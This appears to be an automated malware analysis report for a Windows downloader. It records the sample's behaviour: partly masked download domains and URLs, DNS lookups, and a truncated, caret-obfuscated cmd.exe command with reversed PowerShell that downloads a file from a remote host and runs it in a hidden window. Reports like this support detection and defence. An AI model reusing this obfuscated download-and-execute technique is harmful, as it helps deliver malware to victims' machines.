Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V:/C"s^e^t ^y^k=^ ^ ^ ^ }^}{hctac^}^;^k^a^er^b;^i^b^Q^$ metI-^e^k^ovn^I;)i^b^Q$ ,rvv$(e^li^F^d^ao^lnw^o^D^.M^w^H${^yr^t^{)uB^w$ n^i^ rvv^$(^hcaer^o^f;^'ex^e.'+RVE$^+'^\'^+cil^bup^...
Network activity
Connects to
- 'be####-systems.com':80
- 'go##enet.de':80
- 'go##enet.de':443
TCP
HTTP GET requests
- http://be####-systems.com/YwrYZbQFqE
- http://go##enet.de/QOkU4uQh
Other
- 'go##enet.de':443
UDP
- DNS ASK kp######z.kienthucsong.info
- DNS ASK be####-systems.com
- DNS ASK go##enet.de
- DNS ASK la#######looringcapetown.com
- DNS ASK am##izi.it
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V:/C"s^e^t ^y^k=^ ^ ^ ^ }^}{hctac^}^;^k^a^er^b;^i^b^Q^$ metI-^e^k^ovn^I;)i^b^Q$ ,rvv$(e^li^F^d^ao^lnw^o^D^.M^w^H${^yr^t^{)uB^w$ n^i^ rvv^$(^hcaer^o^f;^'ex^e.'+RVE$^+'^\'^+cil^bup^...' (with hidden window)
